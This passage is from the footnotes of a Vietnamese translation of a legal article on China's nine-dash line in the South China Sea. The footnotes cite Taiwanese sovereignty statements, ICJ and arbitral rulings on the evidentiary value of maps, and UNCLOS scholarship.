Chính phủ THDQ tái khẳng định chủ quyền lãnh thổ trên quần đảo Đông Sa (quần đảo Pratas), Tây Sa (quần đảo Hoàng Sa), Trung Sa (bãi cạn Macclesfield) và Nam Sa (Trường Sa) trong Biển Đông, Đối với các quần đảo này THDQ có tất cảquyền hợp pháp theo luật quốc tế;</div>
<div>
Republic of China (Taiwan), ‘‘The Position of the Ministry of Foreign Affairs on Taiwan’s Sovereignty over Islands in the South China Sea’’ (20 November 2007), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem527782&ctNode51903&mp56.</div>
<div>
Quần đảo Trường Sa, quần đảo Hoàng Sa, bãi Macclesfield và quần đảo Pratas luôn luôn là phần cố hữu của các vùng lãnh thổ Đài Loan, dù nhìn từ quan điểm của lịch sử địa lý, pháp luật quốc tế hay thực tế đơn giản. Theo các nguyên tắc của luật pháp quốc tế, chủ quyền đối với các quần đảo này của chính phủ Đài Loan là không thể nghi ngờ và Đài Loan hưởng tất cả các quyền tương ứng;</div>
<div>
Republic of China (Taiwan), ‘‘The Government of the Republic of China (Taiwan) Reiterates its Sovereignty over the Spratly Islands and has Proposed a Spratly Initiative that Focuses on Environmental Protection Instead of Sovereignty Disputes’’ (15 August 2008), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem532920&ctNode51903&mp56: </div>
<div>
Quần đảo Trường Sa, bao gồm cả rạn san hô Swallow (đảo san hô Layang-Layang), nằm trong vùng lãnh hải của Đài Loan. Dù theo quan điểm pháp lý, lịch sử địa lý hoặc luật quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas và các vùng nước lân cận là một phần của lãnh thổ và lãnh hải của Đài Loan;</div>
<div>
Republic of China (Taiwan), ‘‘Solemn Declaration of the Ministry of Foreign Affairs of the Republic of China concerning the Philippine Senate Bill 2699 and House Bill 3216’’ (6 February 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem536914&ctNode51902&mp56:</div>
<div>
Dù từ góc độ lịch sử, địa lý, thực tế hay luật pháp quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas, cũng như các vùng biển xung quanh, là các vùng lãnh thổ hiện hữu của THDQ. Sự kiện rằng chủ quyền của các khu vực này thuộc về chính phủ của chúng tôi là không thể phủ nhận, Đài Loan được hưởng và xứng đáng với tất cả các quyền tương ứng. Bất kỳ yêu sách chủ quyền nào đối với, hoặc sự chiếm cứ, các quần đảo này và vùng nước xung quanh sẽ không được chính phủ THDQ thừa nhận.</div>
<div>
</div>
<div>
[48] Republic of China (Taiwan), ‘‘Declaration of the Republic of China on the Outer Limits of Its Continental Shelf, no 003’’ (12 May 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/content.asp?cuItem538077&ctNode51036&mp56.</div>
<div>
</div>
<div>
[49] Hasjim DJALAL, ‘‘Conflicting Territorial and Jurisdictional Claims in South China Sea’’ (1979) 7(1) The Indonesian Quarterly 36 at 41–2.</div>
<div>
</div>
<div>
[50] Robert W. SMITH, ‘‘Maritime Delimitation in the South China Sea: Potentiality and Challenges’’ (2010) 41 Ocean Development and International Law 214 at 224. Xem thêm GAO Zhiguo, ‘‘The South China Sea: From Conflict to Cooperation?’’ (1994) 25 Ocean Development and International Law 345 at 346: ‘‘nghiên cứu tỉ mỉ các tài liệu Trung Quốc cho thấy rằng Trung Quốc không bao giờ tuyên bố chủ quyền toàn bộ cột nước của vùng biển Biển Đông mà chỉ là các đảo và vùng biển xung quanh bên trọng đường này.’’ Xem thêm phát biểu của Wang Xiguang (Uông Hi Quang), người đã giúp Cục Địa lý Bộ Nội Chính trong việc chế tác các bản đồ trong những năm 1940 và dùng cùng một kỹ thuật nhưng đi đến một kết quả khác: ‘‘đường biên giới quốc qia chấm chấm được vẽ như là trung tuyến giữa TQ và các nước liền kề’’, trong XU Sen’an, ‘‘The Connotation of the 9-Dotted Line on the Chinese Map of the South China Sea’’ trong ZHONG Tianxiang, ed., Paper Selections of the Seminar on ‘‘The South China Sea in the 21st Century: Problems and Perspective’’ (Hainan Research Center of the South China Sea, 2000) at 80 (in Chinese), translated in Li and Li, supra note 4 at 290.</div>
<div>
</div>
<div>
[51] Dzurek, supra note 3 at 11.</div>
<div>
</div>
<div>
[52] Một quyển sách nói về cách giải quyết các vần đề này , xem Monique CHEMILLIER-GENDREAU, Sovereignty over the Paracel and Spratly Islands (The Hague: Kluwer Law International, 2000).</div>
<div>
</div>
<div>
[53] Anna RIDDELL and Brendan PLANT, Evidence Before the International Court of Justice (London: British Institute of International and Comparative Law, 2009) at 31.</div>
<div>
</div>
<div>
[54] Frontier Dispute (Burkina Faso/Republic of Mali), [1986] I.C.J. Rep. 554 at 582, para. 54.</div>
<div>
</div>
<div>
[55] Kasikili/Sedudu Island (Botswana/Namibia), [1999] I.C.J. Rep. 1045 at 1098, para. 84, nêu: “Tòa án sẽ bắt đầu bằng việc nhắc lại những gì mà Ban thẩm phán (Chamber) xử vụ tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) phải nói về giá trị chứng cứ của bản đồ”; Tranh chấp lãnh thổ và biển giữa Nicaragua and Honduras trong biển Caribbean (Nicaragua v. Honduras), [2007] I.C.J. Rep. 659 at 723, para. 215, nêu: “Toà án tái khẳng định lập trường của họ trước đây liên quan đến phạm vi vô cùng hạn chế của bản đồ như là một nguồn về quyền sở hữu chủ quyền”; Tranh chấp biên giới (Benin/Niger), [2005] I.C.J. Rep. 90 at 119–20, para. 44, nêu: “nguyên tắc này [như mô tả trong tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) cũng sẽ hướng dẫn Ban Thẩm phán trong việc đánh giá các bản đồ mà các Bên trong trường hợp hiện tại dựa vào”; Sovereignty over Pulau Ligitan and Pulau Sipadan (Indonesia/Malaysia), [2002] I.C.J. Rep. 625 at 667, para. 88; Maritime Delimitation and Territorial Questions between Qatar and Bahrain (Qatar v. Bahrain), Separate Opinion of Judge Kooijmans, [2001] I.C.J. Rep. 225 at 242, para. 68.</div>
<div>
</div>
<div>
[56] Patrick DAILLIER, Mathias FORTEAU, and Alain PELLET, Droit international public, 8th ed. (Paris: L.G.D.J., 2009) at 524, para. 301.</div>
<div>
</div>
<div>
[57] Một bàn luận về khả năng hạn chế này, xem Maurice KAMTO, ‘‘Le matériau cartographique dans les contentieux frontaliers et territoriaux internationaux’’ in Emile YAKPO and Tahar BOUMEDRA, eds., Liber Amicorum Judge Mohammed Bedjaoui (The Hague: Kluwer, 1999) at 371–98.</div>
<div>
</div>
<div>
[58] Riddell and Plant, supra note 56 at 266.</div>
<div>
</div>
<div>
[59] ZHAO Lihai, Studies on the Law of Sea (Beijing: Beijing University Press, 1996) at 37 (in Chinese), translated in Li and Li, supra note 4 at 291.</div>
<div>
</div>
<div>
[60] JIAO Yongke, ‘‘There Exists No Question of Redelimiting Boundaries in the Southern Sea’’ (2000) 17 Ocean Development and Management at 52 (in Chinese), translated in Michael STRUPP, ‘‘Maritime and Insular Claims of the PRC in the South China Sea under International Law’’ (2004) 11 Zeitschrift fu¨ r chinesisches Recht 1 at 16.</div>
<div>
</div>
<div>
[61] Zou, supra note 33 at 160.</div>
<div>
</div>
<div>
[62] Grisbadarna Case (Norway v. Sweden), Decision of 23 October 1909, [1910] 4 American Journal of International Law 226 at 231, nêu rằng: ‘‘lãnh hải là thứ phụ thuộc chính yếu của lãnh thổ đất liền’’ (translation from the original French, [2006] XI Reports of International Arbitral Awards 159); North Sea Continental Shelf (Federal Republic of Germany/Denmark; Federal Republic of Germany/Netherlands), [1969] I.C.J. Rep. 3 at 51, para. 96: ‘‘Trong cả hai trường hợp [vùng tiếp giáp lãnh hải và thềm lục địa] nguyên tắc được áp dụng là đất thống trị biển’’. Nghiên cứu sâu hơn và các trường hợp của nguyên tắc này, xem Abou-el-Wafa, supra note 37 at 88–90.</div>
<div>
</div>
<div>
[63] Fisheries Case (United Kingdom v. Norway), [1951] I.C.J. Rep. 116 at 132.</div>
<div>
</div>
<div>
[64] UNCLOS, supra note 12, has been ratified by all interested parties in the South China Sea dispute with the exception of Taiwan (Vietnam: 25 July 1994, PRC: 7 June 1996, Philippines: 8 May 1984,Malaysia: 14 October 1996, Brunei: 5 November 1996, Myanmar: 21 May 1996, and Thailand: 15 May 2011), online: UN http://www.un.org/Depts/los/reference_files/chronological_lists_of_ratifications.htm.</div>
<div>
</div>
<div>
[65] Ibid.</div>
<div>
</div>
<div>
[66] Một cách tiếp cận mới giới hạn đáng kể khả năng áp dụng ngoại lệ củaĐiều 121(3) đối với việc phân giới trên biển, xem Bernard H. OXMAN, ‘‘On Rocks and Maritime Delimitation’’ in Mahnoush H. ARSANJANI, Jacob Katz COGAN, Robert D. SLOANE, and Siegfried WIESSNER, eds., Looking to the Future: Essays on International Law in Honor of W. Michael Reisman (Leiden/Boston: Martinus Nijhoff, 2011), 893. Theo lý luận của tác giả, những tranh cãi liên quan đến ý nghĩa chính xác của việc cư trú của con người và đời sống kinh tế sẽ ít quan trọng hơn, bởi vì trong giai đoạn phân giới các đảo nhỏ thường chỉ đóng một vai trò nhỏ.</div>
<div>
</div>
<div>
[67] Alex G. Oude ELFERINK, ‘‘The Islands in the South China Sea: How Does Their Presence Limit the Extent of the High Seas and the Area and the Maritime Zones of the Mainland Coasts?’’ (2001) 32 Ocean Development and International Law 169 at 182. See also Marius GJETNES, ‘‘The Spratlys: Are They Rocks or Islands?’’ (2001) 32 Ocean Development and International Law 191 at 199–201; Barry Hart DUBNER, ‘‘The Spratly ‘Rocks’ Dispute: A ‘Rockapelago’ Defies Norms of International Law’’ (1995) 9 Temple International and Comparative Law Journal 291 at 299–306.</div>
<div>
</div>
<div>
[68] Nó liên quan đến những hành động do TQ thực hiện bởi để đưa vào các mục bổ sung cho chương trình nghị sự tại cuộc họp năm 2009 của các nước thành viên UNCLOS và kỳ họp lần thứ 15 của Cơ quan đáy biển quốc tế (ISA) một năm sau đó. Xem Erik FRANCKX, ‘‘The International Seabed Authority and the Common Heritage of Mankind: The Need for States to Establish the Outer Limits of Their Continental Shelf’’ (2010) 25 International Journal of Marine and Coastal Law 543 at 563–4. Những nỗ lực như vậy được lặp vào thời điểm Hội nghị của các nước thành viên UNCLOS năm 2011 nhưng không lặp lại tại cuộc họp lần của ISA khoảng một tháng sau đó.</div>
<div>
</div>
<div>
[69] Như chỉ rõ qua danh nghĩa đại diện của giáo sư Jia Yu, đưa ra trong một buổi báo cáo tóm tắt của ISA năm 2009. Mặc dù đóng góp này có tiêu đề là ‘‘Safeguarding the Common Heritage of Mankind’’(Bảo vể di sản chung của loài người) trong công bố cho báo chí của ISA (ISA, ‘‘Press Release SB/15/10’’ (June 2009) at 3, online: ISA http://www.isa.org.jm/files/documents/EN/Press/Press09/SB-15–10.pdf), các phim chiếu slides phân phát vào lúc đó tại buổi báo cáo tóm tắt lại có một tiêu đề cụ thể hơn, đó là ‘‘The Rock of Oki-no-Tori Shall Have No EEZ and Continental Shelf’’ (Mỏm đá Okinotori sẽ có EEZ và thềm lục địa mở rộng). Xem thêm Ted McDORMAN, ‘‘The South China Sea after 2009: Clarity of Claims and Enhanced Prospects for Regional Cooperation?’’ (2010) 24 Ocean Yearbook 507 at 514–15. Về chi tiết và các hành động sau này của các bên về mặt này, xem Yann-Huei SONG, ‘‘The Application of Article 121 of the Law of the Sea Convention to the Selected Geographical Features Situated in the Pacific Ocean’’ (2010) 9 Chinese Journal of International Law 663 at 671–4.</div>
<div>
</div>
<div>
[70] Indonesia, ‘‘Letter to the Secretary-General of the United Nations—480/POL-703/VII/10’’ (8 July 2010), online: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/idn_2010re_mys_ vnm_e.pdf. Sự liên kết giữa các hành động can thiệp này với Biển Đông được trình bày trong công hàm này như sau:</div>
<div>
Về mặt này, các phát biểu của các đại diện ưu tú của CHNDTH cũng liên quan đến tình hình ở Biển Đông và do đó thật đúng khi nêu rằng những thể địa lý rất nhỏhoặc ở xa xôi ở Biển Đông không xứng đáng được hưởng vùng đặc quyền kinh tế hay thềm lục địa của riêng mình. Cho phép sử dụng các mỏm đá, các rạn san hô và đảo san hô vòng không có người ở cô lập với đất liền và ở giữa biển khơi như một điểm cơ sở để tạo ra các khu vực biển gây quan ngại tới các nguyên tắc cơ bản của Công ước [1982] và xâm phạm lợi ích chính đáng của cộng đồng toàn cầu. Vì thế,như được chứng thực bởi những phát biểu trên, cái gọi là “bản đồ đường 9 chấm” rõ ràng thiếu cơ sở pháp lý quốc tế và đồng nghĩa với việc đảo lộn… Công ước 1982.</div>
<div>
</div>
<div>
[71] Xem bộ phận luật án lệ rộng hơn và ý kiến các học giả nêu trong Gérard NIYUNGEKO, La preuve devant les juridictions internationales (Brussels: Bruylant, 2005) at 322–35, and more recently Case concerning Pulp Mills on the River Uruguay (Argentina v. Uruguay), [2010] I.C.J. Rep. 1 at 52, para. 168.</div>
<div>
</div>
<div>
[72] Raphae¨le RIVIER, ‘‘La preuve devant les juridictions interetatiques à vocation universelles (CIJ et TIDM)’’ in Hélène Ruiz FABRI and Jean-Marc SOREL, eds., La preuve devant les juridictions internationales (Paris: Pedone, 2007), 9 at 38–48. More generally, judicial bodies select the facts they deem pertinent in a discretionary manner. Xem Jean SALMON, ‘‘Le fait dans l’application du droit international’’ (1982) 175 Collected Courses of the Hague Academy of International Law 261 at 300. For a critical approach to the freedom of judges with respect to weighing evidence, see Rudiger WOLFRUM, ‘‘Taking and Assessing Evidence in International Adjudication’’ in Tafsir Malick NDIAYE and Rudiger WOLFRUM, eds., Law of the Sea, Environmental Law and Settlement of Disputes: Liber Amicorum Judge Thomas A. Mensah (Leiden: Martinus Nijhoff, 2007), 341 at 342; Patrick KINSCH, ‘‘On the Uncertainties Surrounding the Standard of Proof in Proceedings before International Courts and Tribunals’’ in Gabriella VENTURINE and Stafania BARIATTI, eds., Liber Fausto Pocar—Diritti individuali e giustizia internazionale, vol. 1 (Milan: Giuffre`, 2009), 427 at 438–9; Chittharanjan F. AMERASINGHE, Evidence in International Litigation (Leiden: Martinus Nijhoff, 2005) at 232–61.</div>
<div>
</div>
<div>
[73] Mặc dù không có học thuyết về việc dựa vào tiền lệ (stare decisis) trong luật quốc tế, tòa và tòa án quốc tế thường trích dẫn luật án lệ. Điều này đặc biệt đúng đối với ICJ, là toà có tính tự tham chiếu cao độ và sẽ chỉ đi chệch khỏi án lệ trong quá khứ khi có các lý do đáng kể. Xem Alan BOYLE and Christine CHINKIN, The Making of International Law (Oxford: Oxford University Press, 2007) at 293–9; Gilbert GUILLAUME, ‘‘The Use of Precedent by International Judges and Arbitrators’’ (2011) 2 Journal of International Dispute Settlement 5 at 12.</div>
<div>
</div>
<div>
[74] Frontier Dispute, supra note 57 at 582, para. 55, nêu: ‘‘trọng lượng phân cho các bản đồ với tư cách bằng chứng phụ thuộc vào một số lớn các cân nhắc”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Berna´rdez at 274, para. 37, stating: ‘‘[t]he weight of maps as evidence depends on a range of considerations.’’</div>
<div>
</div>
<div>
[75] Xem Case concerning the Delimitation of Maritime Boundary between Guinea-Bissau and Senegal (Guinea- Bissau/Senegal), Decision of 31 July 1989, Dissenting Opinion of Mr. Mohammed Bedjaoui, [2006] XX Reports of International Arbitral Awards 119 at 166–9, paras. 32–7 (lập luận chống lại một chuyển vị tự động các nguyên tắc lãnh thổ sang phân định biển cho các khác biệt “hiển nhiên” và “không thể giảm hơn” về mặt địa lý, mối quan hệ của chúng với các quyền của các dân tộc và các quốc gia quyền đối với các vùng này); Lea BRILMAYER and Natalie KLEIN, ‘‘Land and Sea: Two Common Sovereignty Regimes in Search of a Common Denominator’’ (2001) 33 New York University Journal of International Law and Politics 703 at 703–4 (noting 15 </div>
<div>
</div>
<div>
[76] Xem các ví dụ về các vụ liên quan một phần đến các tranh chấp trên biển, supra note 58 citing a passage from Frontier Dispute (Burkina Faso/Republic of Mali) (which is a territorial case).</div>
<div>
80. Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 stating: ‘‘only with the greatest caution can account be taken of maps in deciding a question of sovereignty’’, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para.</div>
<div>
</div>
<div>
[77] Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 nêu: “Chỉ với sự thận trọng lớn nhất các bản đồ có thể được xét tới trong việc quyết định vấn đề chủ quyền”, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para. 214; Territorial Sovereignty and Scope of the Dispute (Eritrea/Yemen), Decision of 9 October 1998, [2006] XXII Reports of International Arbitral Awards 209 at 296, para. 388, nêu: “như trong tất cả các trường hợp về bản đồ, bằng chứng phải được xử lý thât tinh tế”. For an opposing view calling into question the reluctant approach of international adjudicators vis-à-vis cartographic evidence, see Romulo R. UBAY Jr, ‘‘Evidence in International Adjudication: Map Evidence in Territorial Sovereignty Dispute Cases’’ (2011) 1 Aegean Review of the Law of the Sea and Maritime Law 287.</div>
<div>
</div>
<div>
[78] Arbitration Between Great Britain and Portugal as Regards Questions Relative to the Delimitation of their Spheres of Influence in East Africa (Manica plateau) (United Kingdom/Portugal), Decision of 30 January 1897, [2007] XXVIII Reports of International Arbitral Awards 283 at 298.</div>
<div>
</div>
<div>
[79] Indo-Pakistan Western Boundary (Rann of Kutch) between India and Pakistan (India v. Pakistan), Award of 19 February 1968, Proposal of Mr. Nasrollah Entezam, [2006] XVII Reports of International Arbitral Awards 1 at 505, nêu: “bản đồ chỉ bằng chứng phụ. Chỉ có bản đồ được chuẩn bị bởi người giám định ngay tại chỗ bằng cách quan sát mới là bằng chứng chính. Thầm chí chúng là bằng chứng chính chỉ cho những điều mà người giám định có thể tự mình quan sát”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Bernardez at 274, para. 37, nêu: “ nói chung, giá trị như là bằng chứng do toà và toà án quốc tế gắn cho chúng là có tính củng cố hay xác nhận cho các kết luận đã được rút ra từ các phương cách khác không dính dáng tới các bản đồ, vì các bản đồ như thế không có danh nghĩa pháp lý”; Island of Palmas, supra note 80 at 853–4, nêu: “dù sao đi nữa, bản đồ chỉ có khả năng đưa ra một chỉ định - và đó là một chỉ định rất gián tiếp - và trừ khi được kèm theo một công cụ pháp lý, không có giá trị của một công cụ như vậy, liên quan đến công nhận hoặc từ bỏ quyền”; ibid., at 853: Nếu trọng tài hài lòng về sự tồn tại của các sự kiện pháp lý có liên quan nhưng các sự kiện này lại mâu thuẫn với lời khai của những người vẽ bản đồ có nguồn thông tin không biết rõ, ông ta có thể sẽ không gán trọng lượng nào cho các bản đồ, tuy các bản đồ này rất nhiều và thường có thể được đánh giá cao.</div>
<div>
</div>
<div>
[80] Frontier Dispute, supra note 57 at 583, para. 56. Xem thêm The Government of Sudan/The Sudan People’s Liberation Movement/Army (Abyei Arbitration), Final Award of 22 July 2009, online: PCA http://www.pca-cpa.org at 256, para. 741:</div>
<div>
Toà án tương tự như vậy rất miễn cưỡng để cân bằng biên giới Đông và Tây của khu vực do Ngok Dinka chiếm đóng chuyển giao vào năm 1905 với mô tả bằng bút chì năm 1933 về khu vực chăn thả gia súc mùa khô của Ngok Dinka trên một bản đồ vẽ phác, đặc biệt là khi toà đã có bằng chứng toàn diện và cụ thể hơn.</div>
<div>
</div>
<div>
[81] Sakeus AKWEENDA, ‘‘The Legal Significance of Maps in Boundary Questions: A Reappraisal with Particular Emphasis on Namibia’’ (1990) 60 British Yearbook of International Law 205 at 212; A.O. CUKWURAH, The Settlement of Boundary Disputes in International Law (Manchester: Manchester University Press, 1967) at 224–5; Hyde, supra note 27 at 313–15; Victor PRESCOTT and Gillian D. TRIGGS, International Frontiers and Boundaries: Law, Politics and Geography (Leiden: Nijhoff, 2008) at 194–5; Durward V. SANDIFER, Evidence before International Tribunals, 2nd ed. (Charlottesville: University Press of Virginia, 1975) at 235; Guenter WEISSBERG, ‘‘Maps as Evidence in International Boundary Disputes: A Reappraisal’’, (1963) 57 American Journal of International Law 781 at 781.</div>
<div>
</div>
<div>
[82] E.g., Ian BROWNLIE, The Rule of Law in International Affairs: International Law at the Fiftieth Anniversary of the United Nations (The Hague: Martinus Nijhoff, 1998) at 156.</div>
<div>
</div>
<div>
[83] Manfred LACHS, ‘‘La preuve et la Cour internationale de Justice’’ in Chaı¨m PERELMAN and Paul FORIERS, eds., La preuve en droit (Brussels: Bruylant, 1981), 109 at 109.</div>
<div>
</div>
<div>
[84] Mức phù hợp trong bản đồ không cần phải luôn luôn là tuyệt đối, nhưng nó phải phù hợp trên tổng quát.. Abouel- Wafa, supra note 37 at 432–4.</div>
<div>
</div>
<div>
[85] Kasikili/Sedudu Island, supra note 58 at 1100, para. 87; see also Dubai/Sharjah Border Arbitration (Dubai v. Sharjah), Award of 19 October 1981, [1993] 91 International Law Reports 543 at 630, para. 168:</div>
<div>
Theo quan điểm của Toà án cần phải dẹp sang một bên cả hai bản đồ do ông Walker chuẩn bị, xét về vị trí của Hadlib Azana, vì, mặc dù được chuẩn bị bởi cùng một người, chúng lại mâu thuẫn lẫn nhau về đường ranh giới chung trong khu vực này. Suy đoán thêm về các lý do có thể có cho một mâu thuẫn như vậy là chuyện vô ích.</div>
<div>
Eritrea/Yemen Arbitration, supra note 80 at 296, para. 388:</div>
<div>
Các bằng chứng cho thời kỳ này bị vây bủa với các mâu thuẫn và sự không chắc chắn. Mỗi bên đã thể hiện sự không thống nhất trong các bản đồ chính thức của mình. Tuy nhiên, xu hướng chung là bằng chứng bản đồ củaYemen là vượt trội về phạm vi và khối lượng so với Eritrea. Tuy nhiên, trọng lượng như vậy có thể được gắn vào bản đồ bằng chứng ủng hộ của một bên được cân bằng bởi thực tế là mỗi bên đã công bố những bản đồ có vẻ đi ngược với khẳng định của mình trong các thủ tục tố tụng.</div>
<div>
Delimitation of the Border Between the State of Eritrea and the Federal Democratic Republic of Ethiopia (Eritrea-Ethiopia Boundary Commission), Decision of 1 January 2002, [2002] 41 International Legal Materials 1057 at 1089, para. 4.67:</div>
<div>
Bằng chứng bản đồ là không đồng nhất và nhất quán. Phần lớn hỗ trợ sự tồn tại của một phóng chiếu của Belesa và gán lãnh thổ bên trong nó cho Eritrea. Tuy nhiên, có nhiều bản đồ không làm như vậy, hoặc chỉ làm như vậy một phần</div>
<div>
</div>
<div>
[86] Tuy nhiên xem Separate World’s Geography (Chinese Ya Guang Geographic Publisher, 1951) at 18 (Bản dồ nước Cộng hoà), trong đó chỉ có khoảng nửa số vạch được thể hiện [bản đồ TQ 1951].</div>
<div>
</div>
<div>
[87] Xem Chinese State Bureau of Surveying and Mapping, Map World, online: Map World http://www.chinaonmap.cn. Bản đồ này được in lại một phần trong Phụ lục II ở cuối bài viết này.</div>
<div>
</div>
<div>
[88] Vì vậy, về mặt kỹ thuật hình như chính xác hơn khi nói đường chấm chấm với số vạch thay đổi, chẳng hạn như là đường 11/9/10-chấm. Tuy nhiên, vì cho tới nay đường 9 chấm là đường mà TQ dựa vào trên bình diện quốc tế để minh định lập trường của họ trong tranh chấp của quốc gia đối với quốc gia nên bài đóng góp này thường sẽ dùng khái niệm “đường 9 chấm”, trừ khi các đường với số chấm khác có ý nghĩa pháp lý.</div>
<div>
</div>
<div>
[89] Eritrea/Yemen Arbitration, supra note 80 at 295, para. 382.</div>
<div>
</div>
<div>
[90] Các vạch được TQ sử dụng để vẽ đường chữ U không phù hợp với các quy định kỹ thuật biểu đồ do Tổ chức Thủy văn Quốc tế đề ra dùng để chỉ ranh giới biển quốc tế, lãnh hải, vùng tiếp giáp lãnh hải, vùng đặc quyền kinh tế, thềm lục địa, khu thủy sản, vv. Xem International Hydrographic Organization, Regulations of the IHO for International (INT) Charts and Chart Specifications of the IHO, 4th ed. (Monaco: International Hydrographic Bureau, 2010) at B-440, C-407 (International Boundaries and National Limits), online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-4/S4_v4.000_Sep10.pdf . Kiểu lập luận này đã được Ukraina đưa ra chống lại Romania trong vụ ở Biển Đen (Romania v. Ukraine), Counter-memorial of Ukraine, 19 May 2006 at 123–5.</div>
<div>
[91] International Hydrographic Organization Membership, online: IHO http://www.iho-ohi.net/english/home/about-the-iho/about-iho-member-states/ms-information.html.</div>
<div>
</div>
<div>
[92] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40. Xem thêm Frontier Dispute, supra note 57 at 583, para. 57, nêu: “bây giờ Ban thẩm phán (Chamber) quay sang các bản đồ được in trong trường hợp này. Đối với Ban Thẩm phán không có một bản đồ đơn lẻ có sẵn nào có thể nói một cách đáng tin cậy là phản ánh được những ý định của chính quyền thực dân được thể hiện trong các các văn bản liên quan đến biên giới đang có tranh chấp.” Xem thêm Abou-el-Wafa, supra note 37 at 425–6.</div>
<div>
</div>
<div>
[93] Smith, supra note 53 at 224.</div>
<div>
</div>
<div>
[94] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40.</div>
<div>
</div>
<div>
[95] Cũng phải nói rõ rằng dù ngay cả trong tình huống như thế, việc chế tác bản đồ cũng không phải là một công việc có “giá trị trung lập” về khoa học. Những bóp mép không chủ ý cũng có thể len vào trong quá trình này do những thiên lệch của nhà vẽ bản đồ và bối cảnh xã hội. Jordan BRANCH, ‘‘Mapping the Sovereign State: Technology, Authority, and Systemic Change’’ (2011) 65 International Organization 1 at 7.</div>
<div>
</div>
<div>
[96] Trừ khi một bản đồ như vậy đi ngược vị thế của họ. Xem chẳng hạn, Sovereignty over Pedra Branca/Pulau Batu Puteh, Middle Rocks and South Ledge (Malaysia/Singapore), [2008] I.C.J. Rep. 12 at 95, para. 272. Abou-el-Wafa, supra note 37 at 460–2.</div>
<div>
</div>
<div>
[97] Beagle Channel Arbitration (Argentina v. Chile), Decision of 18 February 1977, [2006] XXI Reports of International Arbitral Awards 53 at 167, para. 142. Xem thêm Frontier Dispute, supra note 57 at 583, para. 56, nêu rằng: ‘‘những cân nhắc khác để xác định trọng lượng của các bản đồ như là bằng chứng liên quan tới tính trung lập của các nguồn của chúng đối với tranh chấp đang xem xét và với các bên đối với tranh chấp đó.’’</div>
<div>
</div>
<div>
[98] Cukwurah, supra note 84 at 224. Xem thêm Hyde, supra note 27 at 315: Các nguyện vọng hung hăng về lãnh thổ của một nước, qua thời gian nhiều năm có thể phản ánh trong một loạt các bản đồ liên tiếp mô tả rõ rệt sự lấn tới dần và thực sự, và những mô tả sau này có thể khác biệt rõ rệt với các mô tả trước đó;dù trên thự tế không có hiệp ước nào mở rộng ranh giới hay điều chỉnh biên giới.</div>
<div>
</div>
<div>
[99] Charles DE VISSCHER, Problèmes de confins en droit international public (Paris: Pedone, 1969) at 46. Xem thêm Joseph Charles WITENBERG, ‘‘La théorie des preuves devant les juridictions internationales’’ (1936) 56 Collected Courses of the Hague Academy of International Law 1 at 66: ‘‘la valeur scientifique de la méthode ayant présidé´à leur établissement’’; Abou-el-Wafa, supra note 37 at 431.</div>
<div>
</div>
<div>
[100] Ian BROWNLIE, African Boundaries: A Legal and Diplomatic Encyclopaedia (London: Royal Institute of International Affairs, 1979) at 5.</div>
<div>
</div>
<div>
[101] Cukwurah, supra note 84 at 217–20.</div>
<div>
</div>
<div>
[102] Island of Palmas, supra note 80 at 853. Cited in Dubai/Sharjah Border Arbitration, supra note 88 at 630, para. 168. Xem thêm Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075, para. 3.19, nêu: Ủy ban cũng lưu ý rằng các bản đồ, dù thông tin nó cung cấp nhiều như thế nào, không nhất thiết thể hiện chính xác, khách quan thực tế trên mặt đất’</div>
<div>
</div>
<div>
[103] Frontier Dispute, supra note 57 at 582–3, para. 55. Xem thêm Beagle Channel, supra note 100 at 174, para. 154, nêu: “Vì thếTòa án bắt buộc đi đến kết luận rằng bản đồ củaPelliza có tính chất quá không chắc chắn để có giá trị chứng minh đòi hỏi”; Request for Interpretation of the Judgment of 15 June 1962 in the Case concerning the Temple of Preah Vihear (Cambodia v. Thailand), Order of 18 July 2011, Dissenting Opinion of Judge ad hoc Cot, [2011] I.C.J. Rep. 1 at 4, para. 21–2 (tuyên bố quyết định của Toà xác định một khu vực phi quân sự tạm thời là “thiếu thận trọng”dưới ánh sáng của tài liệu bản đồ mà ông cho là hạn chế và không đủ đáng tin cậy theo quan điểm kỹ thuật).</div>
<div>
</div>
<div>
[104] Legal Consequences of the Construction of a Wall in the Occupied Palestinian Territory, Advisory Opinion, [2004] I.C.J. Rep. 136 at 168, para. 80. Về việc ICJ chấp nhận ảnh vệ tinh trong các vụ tranh chấp, xem Jana K. HETTLING, ‘‘The Use of Remote Sensing Satellites for Verification in International Law’’ (2003) 19 Space Policy 33 at 38, nghiên cứu sâu hơn của cùng tác giả trong Satellite Imagery for Verification and Enforcement of Public International Law (Cologne: Heymann, 2008) at 157–65.</div>
<div>
</div>
<div>
[105] Dzurek, supra note 3 at 12; Zou, supra note 5 at 51.</div>
<div>
</div>
<div>
[106] Dzurek, supra note 3 at 11.</div>
<div>
</div>
<div>
